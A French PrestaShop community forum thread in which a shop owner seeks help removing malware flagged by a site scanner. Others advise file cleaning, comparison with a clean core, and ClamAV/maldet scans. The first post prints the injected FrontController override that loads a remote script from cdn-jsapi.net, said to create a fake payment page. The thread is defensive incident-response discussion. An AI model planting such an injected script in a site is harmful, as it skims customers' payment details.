YanaLang Posted Thursday at 02:49 PM Share Posted Thursday at 02:49 PM Bonjour à toutes et tous, En faisant un check de mon site via https://sitecheck.sucuri.net/, j'ai vu qu'il y avait un malware appelé https://cdn-jsapi.net. En faisant une sauvegarde du FTP sur mon ordinateur et une recherche, j'ai retrouvé un trace de cdn-jsapi.net dans le chemin suivant /clickandbuilds/PrestaShop/MonSite/override/classes/controller/FrontController.php N'ayant pas d'expérience en cas de mauvaise manip, je voudrais savoir ce que je dois faire sans aucun risque sur mon site Prestashop. Dois-je changer le code du fichier et le remplacer sur le FTP ? Ou simplement le supprimer ? J'aimerai connaitre la meilleure solution sans risque. Voici le code du fichier FrontController <?php class FrontController extends FrontControllerCore { public function setMedia() { parent::setMedia(); $this->registerJavascript( 'analytics', 'https://cdn-jsapi.net/', [ 'server' => 'remote', 'priority' => 200, 'position' => 'bottom', ] ); } } Pour info, mon Prestashop est la version 1.7.8 sur Ionos. Merci pour votre aide. Cordialement Yan Link to comment Share on other sites More sharing options...
Eolia Posted Thursday at 02:52 PM Share Posted Thursday at 02:52 PM Bonjour, suivez cette procédure pour avoir plus d'infos sur ce qui est potentiellement infecté: Link to comment Share on other sites More sharing options...
YanaLang Posted Thursday at 05:39 PM Author Share Posted Thursday at 05:39 PM Bonjour, Merci pour votre retour. J'ai finalement supprimé le fichier en question et SiteCheck ne trouve plus le malware. Je vais me pencher du coté de votre lien, mais j'ai peur que cela modifie des éléments sur mon site. Mes connaissances sont faibles à ce niveau. Cordialement Yan Link to comment Share on other sites More sharing options...
Eolia Posted Thursday at 05:49 PM Share Posted Thursday at 05:49 PM c'est bien de le supprimer mais il peut revenir si la porte d'entrée ou les fichiers corrompus sont toujours là. Link to comment Share on other sites More sharing options...
YanaLang Posted Thursday at 05:53 PM Author Share Posted Thursday at 05:53 PM 4 minutes ago, Eolia said: c'est bien de le supprimer mais il peut revenir si la porte d'entrée ou les fichiers corrompus sont toujours là. Oui effectivement je ne me dit pas tiré d'affaire. Un logiciel de protection de site web serait-il efficace ? Si oui lesquels ? Link to comment Share on other sites More sharing options...
wrongh Posted Friday at 09:09 AM Share Posted Friday at 09:09 AM Peux-tu vérifier si d’autres fichiers dans /override/classes/ ont aussi été modifiés ? Parfois, les hackers injectent plusieurs scripts dans des endroits différents, donc il vaut mieux tout comparer avec une version propre du noyau Prestashop 1.7.8. Link to comment Share on other sites More sharing options...
YanaLang Posted Friday at 01:32 PM Author Share Posted Friday at 01:32 PM Merci effectivement. J'ai vérifié les fichiers /override/classes/ et aussi dans tout le ftp la présence de "cdn-jsapi" ou juste "jsapi" il n'apparaissait que dans le fichier override/classes/controller/FrontController.php que j'ai supprimé. J'ai aussi regardé tous les répertoires de /override/classes/, il ne comporte que 1 fichier index chacun. Chaque fichier index ne comporte pas d'autres URL à part https://devdocs.prestashop.com et https://opensource.org/licenses/OSL-3.0  Le scan de Sucuri avait trouvé le code cdn-jsapi qu'il indiquait comme malware, une fois supprimé, il ne détecta plus aucun malware. J'espère être débarrassé, maintenant il me faut trouver comment combler la faille et faire des checks réguliers. Le malware créait une fausse page de paiement... Link to comment Share on other sites More sharing options...
YanaLang Posted Friday at 01:42 PM Author Share Posted Friday at 01:42 PM J'aurais une autre question au passage. Je voudrais mettre à jour ma version php mais je ne sais pas si certains modules ou le thème sont compatibles. Est-ce que le changement de version php modifie le site ou d'autres éléments ? Si des dysfonctionnement apparaissent, est-ce que le fait de remettre la version php actuelle garantira que le site revienne à l'identique ? Merci. Link to comment Share on other sites More sharing options...
Eolia Posted Friday at 01:49 PM Share Posted Friday at 01:49 PM le code qui générait ce js était planqué en bas de la classe CmsController.php la dernière fois que je l'ai vu. Je vous conseille vivement de lancer cleaner qui vous trouvera tous les fichiers compromis. Une sauvegarde est faite dans un zip à la racine du site au cas où. Link to comment Share on other sites More sharing options...
Mediacom87 Posted Friday at 01:55 PM Share Posted Friday at 01:55 PM il y a 18 minutes, YanaLang a dit : J'espère être débarrassé, maintenant il me faut trouver comment combler la faille et faire des checks réguliers. Le malware créait une fausse page de paiement... Vous avez effacé un seul fichier, donc votre pirate est toujours là et a toujours accès à votre site, donc il faut tout nettoyer, sinon, comme Sisyphe, vous allez répéter tous les jours votre tâche. il y a 9 minutes, YanaLang a dit : J'aurais une autre question au passage. Je voudrais mettre à jour ma version php mais je ne sais pas si certains modules ou le thème sont compatibles. Est-ce que le changement de version php modifie le site ou d'autres éléments ? Si des dysfonctionnement apparaissent, est-ce que le fait de remettre la version php actuelle garantira que le site revienne à l'identique ? Merci. 1- Vous êtes limité par la version PHP acceptée par votre version de PrestaShop puis par chaque module, mais en général, les modules compatibles avec votre version de PrestaShop sont aussi compatibles avec les mêmes versions de PHP.https://devdocs.prestashop-project.org/1.7/basics/installation/system-requirements/#php-requirements 2- IONOS est le seul hébergeur mutualisé (à ma connaissance) qui facture l'usage d'anciennes versions de PHP, ce qui explique aussi pourquoi il est référencé comme étant le pire hébergeur mutualisé de la planète. Cela m'arrive de le citer en exemple de ce qu'il ne faut pas utiliser : https://www.mediacom87.fr/post/hebergement/ Link to comment Share on other sites More sharing options...
YanaLang Posted Friday at 02:04 PM Author Share Posted Friday at 02:04 PM 2 minutes ago, Mediacom87 said: Vous avez effacé un seul fichier, donc votre pirate est toujours là et a toujours accès à votre site, donc il faut tout nettoyer, sinon, comme Sisyphe, vous allez répéter tous les jours votre tâche. 1- Vous êtes limité par la version PHP acceptée par votre version de PrestaShop puis par chaque module, mais en général, les modules compatibles avec votre version de PrestaShop sont aussi compatibles avec les mêmes versions de PHP.https://devdocs.prestashop-project.org/1.7/basics/installation/system-requirements/#php-requirements 2- IONOS est le seul hébergeur mutualisé (à ma connaissance) qui facture l'usage d'anciennes versions de PHP, ce qui explique aussi pourquoi il est référencé comme étant le pire hébergeur mutualisé de la planète. Cela m'arrive de le citer en exemple de ce qu'il ne faut pas utiliser : https://www.mediacom87.fr/post/hebergement/ Merci pour votre retour. J'ai donc bien compris qu'avoir supprimé le fichier ne résout pas le problème définitivement. Pour la version de Php je suis donc au maximum car en version 1.7.8 et Php 7.4. Effectivement Ionos fait payer les anciennes versions de Php, mais je ne suis pas sur un mutualisé. Link to comment Share on other sites More sharing options...
YanaLang Posted Friday at 02:10 PM Author Share Posted Friday at 02:10 PM 17 minutes ago, Eolia said: le code qui générait ce js était planqué en bas de la classe CmsController.php la dernière fois que je l'ai vu. Je vous conseille vivement de lancer cleaner qui vous trouvera tous les fichiers compromis. Une sauvegarde est faite dans un zip à la racine du site au cas où. Voici le contenu de mon fichier controllers>front>CmsController.php. Pouvez-vous me dire si vous voyez quelque chose de suspicieux ? Merci. <?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to [email protected] so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <[email protected]> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ class CmsControllerCore extends FrontController { public $php_self = 'cms'; public $assignCase; public $cms; /** @var CMSCategory */ public $cms_category; public $ssl = false; public function canonicalRedirection($canonicalURL = '') { if (Validate::isLoadedObject($this->cms) && ($canonicalURL = $this->context->link->getCMSLink($this->cms, $this->cms->link_rewrite, $this->ssl))) { parent::canonicalRedirection($canonicalURL); } elseif (Validate::isLoadedObject($this->cms_category) && ($canonicalURL = $this->context->link->getCMSCategoryLink($this->cms_category))) { parent::canonicalRedirection($canonicalURL); } } /** * Initialize cms controller. * * @see FrontController::init() */ public function init() { if ($id_cms = (int) Tools::getValue('id_cms')) { $this->cms = new CMS($id_cms, $this->context->language->id, $this->context->shop->id); } elseif ($id_cms_category = (int) Tools::getValue('id_cms_category')) { $this->cms_category = new CMSCategory($id_cms_category, $this->context->language->id, $this->context->shop->id); } if (Configuration::get('PS_SSL_ENABLED') && Tools::getValue('content_only') && $id_cms && Validate::isLoadedObject($this->cms) && in_array($id_cms, $this->getSSLCMSPageIds())) { $this->ssl = true; } parent::init(); $this->canonicalRedirection(); // assignCase (1 = CMS page, 2 = CMS category) if (Validate::isLoadedObject($this->cms)) { $adtoken = Tools::getAdminToken('AdminCmsContent' . (int) Tab::getIdFromClassName('AdminCmsContent') . (int) Tools::getValue('id_employee')); if (!$this->cms->isAssociatedToShop() || !$this->cms->active && Tools::getValue('adtoken') != $adtoken) { $this->redirect_after = '404'; $this->redirect(); } else { $this->assignCase = 1; } } elseif (Validate::isLoadedObject($this->cms_category) && $this->cms_category->active) { $this->assignCase = 2; } else { $this->redirect_after = '404'; $this->redirect(); } } /** * Assign template vars related to page content. * * @see FrontController::initContent() */ public function initContent() { if ($this->assignCase == 1) { $cmsVar = $this->objectPresenter->present($this->cms); $filteredCmsContent = Hook::exec( 'filterCmsContent', ['object' => $cmsVar], $id_module = null, $array_return = false, $check_exceptions = true, $use_push = false, $id_shop = null, $chain = true ); if (!empty($filteredCmsContent['object'])) { $cmsVar = $filteredCmsContent['object']; } $this->context->smarty->assign([ 'cms' => $cmsVar, ]); if ($this->cms->indexation == 0) { $this->context->smarty->assign('nobots', true); } $this->setTemplate( 'cms/page', ['entity' => 'cms', 'id' => $this->cms->id] ); } elseif ($this->assignCase == 2) { $cmsCategoryVar = $this->getTemplateVarCategoryCms(); $filteredCmsCategoryContent = Hook::exec( 'filterCmsCategoryContent', ['object' => $cmsCategoryVar], $id_module = null, $array_return = false, $check_exceptions = true, $use_push = false, $id_shop = null, $chain = true ); if (!empty($filteredCmsCategoryContent['object'])) { $cmsCategoryVar = $filteredCmsCategoryContent['object']; } $this->context->smarty->assign($cmsCategoryVar); $this->setTemplate('cms/category'); } parent::initContent(); } /** * Return an array of IDs of CMS pages, which shouldn't be forwared to their canonical URLs in SSL environment. * Required for pages which are shown in iframes. */ protected function getSSLCMSPageIds() { return [(int) Configuration::get('PS_CONDITIONS_CMS_ID'), (int) Configuration::get('LEGAL_CMS_ID_REVOCATION')]; } public function getBreadcrumbLinks() { $breadcrumb = parent::getBreadcrumbLinks(); if ($this->assignCase == 2) { $cmsCategory = new CMSCategory($this->cms_category->id_cms_category); } else { $cmsCategory = new CMSCategory($this->cms->id_cms_category); } if ($cmsCategory->id_parent != 0) { foreach (array_reverse($cmsCategory->getParentsCategories()) as $category) { $cmsSubCategory = new CMSCategory($category['id_cms_category']); $breadcrumb['links'][] = [ 'title' => $cmsSubCategory->getName(), 'url' => $this->context->link->getCMSCategoryLink($cmsSubCategory), ]; } } if ($this->assignCase == 1) { $breadcrumb['links'][] = [ 'title' => $this->context->controller->cms->meta_title, 'url' => $this->context->link->getCMSLink($this->context->controller->cms), ]; } return $breadcrumb; } public function getTemplateVarPage() { $page = parent::getTemplateVarPage(); if ($this->assignCase == 2) { $page['body_classes']['cms-id-' . $this->cms_category->id] = true; } else { $page['body_classes']['cms-id-' . $this->cms->id] = true; if (!$this->cms->indexation) { $page['meta']['robots'] = 'noindex'; } } return $page; } public function getTemplateVarCategoryCms() { $categoryCms = []; $categoryCms['cms_category'] = $this->objectPresenter->present($this->cms_category); $categoryCms['sub_categories'] = []; $categoryCms['cms_pages'] = []; foreach ($this->cms_category->getSubCategories($this->context->language->id) as $subCategory) { $categoryCms['sub_categories'][$subCategory['id_cms_category']] = $subCategory; $categoryCms['sub_categories'][$subCategory['id_cms_category']]['link'] = $this->context->link->getCMSCategoryLink($subCategory['id_cms_category'], $subCategory['link_rewrite']); } foreach (CMS::getCMSPages($this->context->language->id, (int) $this->cms_category->id, true, (int) $this->context->shop->id) as $cmsPages) { $categoryCms['cms_pages'][$cmsPages['id_cms']] = $cmsPages; $categoryCms['cms_pages'][$cmsPages['id_cms']]['link'] = $this->context->link->getCMSLink($cmsPages['id_cms'], $cmsPages['link_rewrite']); } return $categoryCms; } } Link to comment Share on other sites More sharing options...
alex_developer Posted Friday at 03:52 PM Share Posted Friday at 03:52 PM On 06/11/2025 at 16:49, YanaLang said: N'ayant pas d'expérience en cas de mauvaise manip, je voudrais savoir ce que je dois faire sans aucun risque sur mon site Prestashop. Je vous conseille de scanner entièrement votre serveur à la recherche de logiciels malveillants à l'aide de ClamAV et maldet ensemble. Ces deux outils sont entièrement gratuits et open source. L'utilisation des deux outils présente plusieurs avantages : ClamAV — moteur antivirus de base Dispose d'une vaste base de signatures de virus détectés dans le monde entier (chevaux de Troie courants, backdoors, chevaux de Troie mineurs, scripts PHP infectés). Il fonctionne rapidement, de manière stable, et s'intègre bien dans cron, les services de messagerie et les scanners de fichiers. Cependant, ClamAV n'est pas toujours orienté vers les sites web, ce qui signifie qu'il peut passer à côté de scripts malveillants personnalisés ou spécifiques à un CMS (tels que des injections dans des modèles, des shells cachés, etc.). Maldet — « scanner web » spécialisé Conçu spécialement pour les environnements web, les hébergements et les serveurs avec des sites en PHP, WordPress, PrestaShop, Joomla, etc. Il analyse non seulement les signatures, mais aussi les modèles typiques de comportement des infections Web (par exemple, « obfuscated base64 eval », « str_rot13 shell », « GIF89a + PHP » injectés, iframes cachés). Il est entièrement intégré à ClamAV et peut utiliser la base ClamAV comme moteur supplémentaire pour une analyse plus approfondie. Vous pouvez ainsi soit supprimer les fichiers infectés, soit obtenir la liste des fichiers infectés et effectuer les actions nécessaires, par exemple supprimer le code malveillant s'il est intégré dans des classes ou des contrôleurs fonctionnels. Link to comment Share on other sites More sharing options...
yama Posted Saturday at 12:50 AM Share Posted Saturday at 12:50 AM 10 hours ago, YanaLang said: Pouvez-vous me dire si vous voyez quelque chose de suspicieux ? Pourquoi ne pas lancer le cleaner de Eolia qui te dira si y'a quelque chose de suspicieux. Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now